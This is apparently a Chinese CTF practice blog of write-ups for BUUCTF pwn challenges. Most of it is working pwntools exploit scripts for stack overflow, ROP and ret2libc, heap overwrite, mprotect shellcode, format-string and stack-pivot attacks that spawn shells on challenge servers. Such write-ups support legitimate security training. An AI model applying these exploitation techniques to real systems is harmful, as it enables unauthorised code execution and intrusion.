Contents
  1. 1. 连上就有flag的pwn
  2. 2. RIP覆盖一下
  3. 3. ciscn_2019_c_1
    1. 3.1. exp
  4. 4. warmup_csaw_2016
    1. 4.1. exp
  5. 5. pwn1_sctf_2016
    1. 5.1. exp
  6. 6. ciscn_2019_en_2
    1. 6.1. exp
  7. 7. ciscn_2019_n_1
    1. 7.1. exp
  8. 8. ciscn_2019_n_8
  9. 9. [HarekazeCTF2019]baby_rop
  10. 10. babyheap_0ctf_2017
  11. 11. [OGeek2019]babyrop
    1. 11.1. exp
  12. 12. babyfengshui_33c3_2016
    1. 12.1. (ubuntu16)exp
  13. 13. get_started_3dsctf_2016
    1. 13.1. 本地exp:
    2. 13.2. 远程exp:
  14. 14. not_the_same_3dsctf_2016
    1. 14.1. 本地exp:
    2. 14.2. 远程exp:
  15. 15. [第五空间2019 决赛]PWN5
    1. 15.1. 我的exp:
    2. 15.2. ditto师傅的exp:
  16. 16. [Black Watch 入群题]PWN-spwn
    1. 16.1. exp

开始刷一下buu,尽力做吧

连上就有flag的pwn

RIP覆盖一下

ciscn_2019_c_1

栈溢出
我的exp一直调试不对是因为这句

1
puts_addr = u64(io.recvuntil("\n", drop = True).ljust(8, '\x00'))

我没有加上True,所以就去查看了一下官方文档没看懂嗷!

然后就是注意,第一次payload发送后,接收的是加密后的值。我本来用bbbbbbbb加密后是oooooooo,又**失败了,所以换成’\x00’,直接是回车好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!usr/bin/python
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

pro = "./ciscn_2019_c_1"
post = "pwn.buuoj.cn"
ip = 20115
l = 0
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

if l:
io = process(pro)
else:
io = remote(post, ip)


elf = ELF(pro)
pop_rdi_ret = 0x0000000000400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']
# start_addr = 0x0000000000400790

io.recv()
io.sendline(str(1))
payload = "\x00" * 0x50 + "\x00" * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.recv()
io.sendline(payload)
io.recvuntil("Ciphertext\n\n")
puts_addr = u64(io.recvuntil("\n", drop = True).ljust(8, '\x00'))
print "puts_addr ==> " +hex(puts_addr)
# libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
print "libc_base ==> " +hex(libc_base)
print "system_addr ==> " +hex(sys_addr)
print "binsh_addr ==> " +hex(binsh_addr)

io.recv()
io.sendline(str(1))

payload = "a" * 0x50 + "a" * 8 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
io.recv()
io.sendline(payload)

io.interactive()

warmup_csaw_2016

checksec一下,啥保护都没开喔嘻嘻嘻

ida也是,明显的栈溢出,且打印出来的地址就是命令system("cat flag.txt")

exp

1
2
3
4
5
6
7
8
9
10
11
12
#!usr/bin/python
from pwn import *
context.log_level = 'debug'
io = remote("pwn.buuoj.cn", 20035)
# io = process("./warmup_csaw_2016")

flag_addr = 0x40060d

io.recv()
io.sendline("a" * 0x40 + "a" * 8 + p64(flag_addr))

io.interactive()

pwn1_sctf_2016

又看到这个函数了。。。

但是c++看的昏倒哦,但是看这个I you感觉以前见过

确实就是将你输入的I转化为you,一位转三位,s的大小就那么大,会造成栈溢出

exp

1
2
3
4
5
6
7
8
9
10
11
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

io = remote("pwn.buuoj.cn", 20086)
# io = process("./pwn1_sctf_2016")

flag_addr = 0x08048F0D

io.sendline("I" * 20 + "a" * 4 + p32(flag_addr))
io.interactive()

ciscn_2019_en_2

同上面的ciscn_2019_c_1那个题,我直接简单改了一点脚本

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!usr/bin/python
from pwn import *

io = remote("pwn.buuoj.cn", 20123)
# io = process("ciscn_2019_en_2")

elf = ELF('./ciscn_2019_en_2')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

pop_rdi_ret = 0x0000000000400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']
# start_addr = 0x0000000000400790

io.recv()
io.sendline(str(1))
payload = "\x00" * 0x50 + "\x00" * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.recv()
io.sendline(payload)
io.recvuntil("Ciphertext\n\n")
puts_addr = u64(io.recvuntil("\n", drop = True).ljust(8, '\x00'))
print "puts_addr ==> " +hex(puts_addr)
# libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
print "libc_base ==> " +hex(libc_base)
print "system_addr ==> " +hex(sys_addr)
print "binsh_addr ==> " +hex(binsh_addr)

io.recv()
io.sendline(str(1))

payload = "a" * 0x50 + "a" * 8 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
io.recv()
io.sendline(payload)

io.interactive()

ciscn_2019_n_1

一开始的思路是覆盖v2 为 11.28125,但是覆盖不成功…
然后修改思路为将返回地址覆盖为cat flag,但是对方没有flag这个文件,根据前面的经验,靶机里应该是flag.txt,所以这个也不能用了
最后,决定写入binsh来getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

io = remote("pwn.buuoj.cn", 20137)
elf = ELF("ciscn_2019_n_1")

# flag_addr = 0x00000000004006BE
sys_addr = elf.plt['system']
gets_addr = elf.plt['gets']
bss_addr = elf.bss()
pop_rdi_addr = 0x0000000000400793

payload = "a" * (0x30+8) + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_addr) + p64(pop_rdi_addr) + p64(bss_addr) + p64(sys_addr)
io.recv()
io.sendline(payload)
io.sendline("/bin/sh\x00")

io.interactive()

ciscn_2019_n_8

只需要控制var[13] == 17LL即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./n8"
ip = "node3.buuoj.cn"
port = 28187
elf = ELF(binary)


def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
io = remote(ip, port)
libc = 0

io.recv()
io.sendline(p32(17)*14)

io.interactive()

if __name__ == '__main__':
pwn(ip, port, 0)

[HarekazeCTF2019]baby_rop

1
ROPgadget --binary babyrop --only "pop|ret"

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./babyrop"
ip = "node3.buuoj.cn"
port = 25728
elf = ELF(binary)
sys_addr = elf.symbols['system']
binsh_addr = 0x0000000000601048
pop_rdi = 0x0000000000400683

io = remote(ip, port)
io.recv()
io.sendline("a" * 0x18 + p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr))
io.interactive()

babyheap_0ctf_2017

https://p1kk.github.io/2019/12/09/0CTF2017%20babyheap/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9/wp/

[OGeek2019]babyrop

题目存在两处栈溢出,将buf[7]溢出更改v5,造成第三个函数read的栈溢出,泄露libc base找到system和binsh字符串

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

l = 0
#ip =
#post =
if l:
io = remote(ip, post)
libc = ELF('./libc-2.23.so')
else:
io = process('./babyrop')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

elf = ELF('./babyrop')
# start_addr = elf.symbols['__bss_start']
start_addr = 0x080485A0
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = '\x00' * 7 + '\xff'
io.sendline(payload)

# gdb.attach(io)

io.recvuntil("Correct\n")
payload = "a" * 0xE7 + "a" * 4 + p32(write_plt) + p32(0x80487D0) + p32(1) + p32(write_got) + p32(4)
io.send(payload)

write_addr = u32(io.recv(4))
print "write_addr = " +hex(write_addr)

# gdb.attach(io)

libc_base = write_addr - libc.symbols['write']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()

payload = "a" * 0xE7 + "a" * 4 + p32(sys_addr) + p32(1) + p32(binsh_addr)
io.sendline(payload)


io.interactive()

babyfengshui_33c3_2016

以前攻防世界写的脚本了,现在buu全换成ubuntu18了,我不会了我哭QAQ

(ubuntu16)exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!usr/bin/python
from pwn import *
from LibcSearcher import *
# context.log_level = "debug"

l = 0
elf = ELF("./babyfengshui")
ip = "node2.buuoj.cn.wetolink.com"
post = 28863

if l:
io = remote(ip, post)
# libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
io = process("./babyfengshui")
# libc = ELF("/lib/i386-linux-gnu/libc.so.6")


free_got = elf.got['free']

def menu(action):
io.sendlineafter("Action: ", str(action))

def Add(size, name, length, text):
menu(0)
io.sendlineafter("size of description: ", str(size))
io.sendlineafter("name: ", name)
io.sendlineafter("text length: ", str(length))
io.sendlineafter("text: ", text)

def Delete(index):
menu(1)
io.sendlineafter("index: ", str(index))

def Display(index):
menu(2)
io.sendlineafter("index: ", str(index))

def Update(index, nlength, ntext):
menu(3)
io.sendlineafter("index: ", str(index))
io.sendlineafter("text length: ", str(nlength))
io.sendlineafter("text: ", ntext)

Add(0x80, "kk", 0x80, "aaaaa") #0 #==> x/10gx 0x9361000
Add(0x80, "kk", 0x80, "AAAAA") #1 #==> x/10gx 0x9361110
Add(0x8, "kk", 0x8, "/bin/sh\x00") #2 #==> x/10gx 0x9361220

Delete(0)

Add(0x100, "kk", 0x19C, "A"*0x198 + p32(free_got)) # 0 0x19c = 0x80+0x80+0x80+0x7c
# gdb.attach(io)

Display(1)
io.recvuntil("description: ")
free_addr = u32(io.recvn(4))
print "free_addr ==> " +hex(free_addr)
'''
libc_base = free_addr - libc.symbols['free']
sys_addr = libc_base + libc.symbols['system']
'''
libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')
print "libc_base ==> " +hex(libc_base)
print "sys_addr ==> " +hex(sys_addr)

Update(1, 4, p32(sys_addr)) #1
Delete(2)

io.interactive()

get_started_3dsctf_2016

很简单,但是远程配置有问题,所以远程换一种方式打。就是使用mprotect函数getshell
这个知识点我就是在Jarvis oj level5接触到的

本地exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level='debug'

p = process("./get_started_3dsctf_2016")
# p = remote('f.buuoj.cn',20004)

flag_addr = 0x80489b8

payload = 'a'*0x38 + p32(flag_addr)

p.sendline(payload)

p.interactive()

远程exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

# io = process("./get_started_3dsctf_2016")
io = remote("pwn.buuoj.cn",20004)
elf = ELF("get_started_3dsctf_2016")

pop2_ret = 0x0809a7dc
pop3_ret = 0x0804f460

payload = 'a' * 56 + p32(elf.symbols['mprotect']) + p32(pop3_ret) + p32(0x080EB000) + p32(0x3000) + p32(7) + p32(elf.symbols['read']) + p32(pop3_ret) + p32(0) + p32(0x080EBF80) + p32(0x200) + p32(0x080EBF80)
io.sendline(payload)
io.sendline(asm(shellcraft.sh()))

io.interactive()

not_the_same_3dsctf_2016

有几道都是远程环境的问题,所以都需要换方式打

本地exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!usr/bin/python
from pwn import *
context.log_level = "debug"

# io = remote("pwn.buuoj.cn", 20007)
io = process("./not_the_same_3dsctf_2016")

get_secret = 0x080489A0
flag_addr = 0x080ECA2D
printf_addr = 0x0804F0A0

payload = "a" * 0x2d + p32(get_secret) + p32(printf_addr) + "a" * 4 + p32(flag_addr)

io.sendline(payload)
flag = io.recv()

print flag

io.interactive()

远程exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

io = remote("pwn.buuoj.cn", 20007)
# io = process("./not_the_same_3dsctf_2016")
elf = ELF("./not_the_same_3dsctf_2016")

pop3_ret = 0x0809e3e5

payload = 'a' * 45 + p32(elf.symbols['mprotect']) + p32(pop3_ret) + p32(0x080EB000) + p32(0x3000) + p32(7) + p32(elf.symbols['read']) + p32(pop3_ret) + p32(0) + p32(0x080EBF80) + p32(0x200) + p32(0x080EBF80)
io.sendline(payload)
io.sendline(asm(shellcraft.sh()))

io.interactive()

[第五空间2019 决赛]PWN5

决赛的时候fail了,可是现在又做就ok了???当初就应该多试几次的我哭!
两种思路,我用的是通过格式化字符串泄露随机数。时而成功时而失败的原因可能是有整型溢出。
还有一种是通过格式化字符串填入已知的数字。

我的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!usr/bin/python
from pwn import *
context.log_level = "debug"

#io = process("./pwn5")
io = remote("node2.buuoj.cn.wetolink.com", 28967)

suiji_addr = 0x0804C044
offset = 10

io.recv()
io.sendline(p32(suiji_addr) + ".%10$s")
io.recvuntil(".")
suiji = u32(io.recvuntil("\x0a")[-5:-1])

print suiji
print hex(suiji)


io.recvuntil("passwd")
io.sendline(str(suiji))

io.interactive()

ditto师傅的exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
a = process("./pwn5")

def fsb(payload):
a.sendafter("your name:",payload)
target=0x804C044
payload=p32(target)+"%10c"+"%10$n"
fsb(payload)

a.sendafter("your passwd:","14")
a.interactive()

[Black Watch 入群题]PWN-spwn

栈迁移

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!usr/bin/python
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

ip = "node3.buuoj.cn"
port = 29414
io = 0
elf = ELF("./spwn")
leave_ret = 0x08048511
bss_s = 0x0804A300
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
# print "main_addr = " +hex(main_addr)

def pwn(ip, port, debug):
global io
if(debug == 1):
io = process("./spwn")
else:
io = remote(ip, port)

io.recvuntil("name?")
# payload = p32(puts_plt) + p32(main_addr) + p32(puts_got)
payload = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
io.send(payload)

io.recvuntil("say?")
payload = "a" * 0x18 + p32(bss_s-4) + p32(leave_ret)
io.send(payload)


leak_addr = u32(io.recv(4))
libc = LibcSearcher('write', leak_addr)
# libc = LibcSearcher('puts', leak_addr)
libc_base = leak_addr - libc.dump('write')
# libc_base = leak_addr - libc.dump('puts')

sys_addr = libc_base + libc.dump('system')

io.recv()
payload = p32(sys_addr) + p32(main_addr) + p32(bss_s+4*3) + "/bin/sh\x00"
io.send(payload)
io.recv()
io.send("a" * 0x18 + p32(bss_s-4) + p32(leave_ret))
io.interactive()

if __name__ == '__main__':
pwn(ip, port, 0)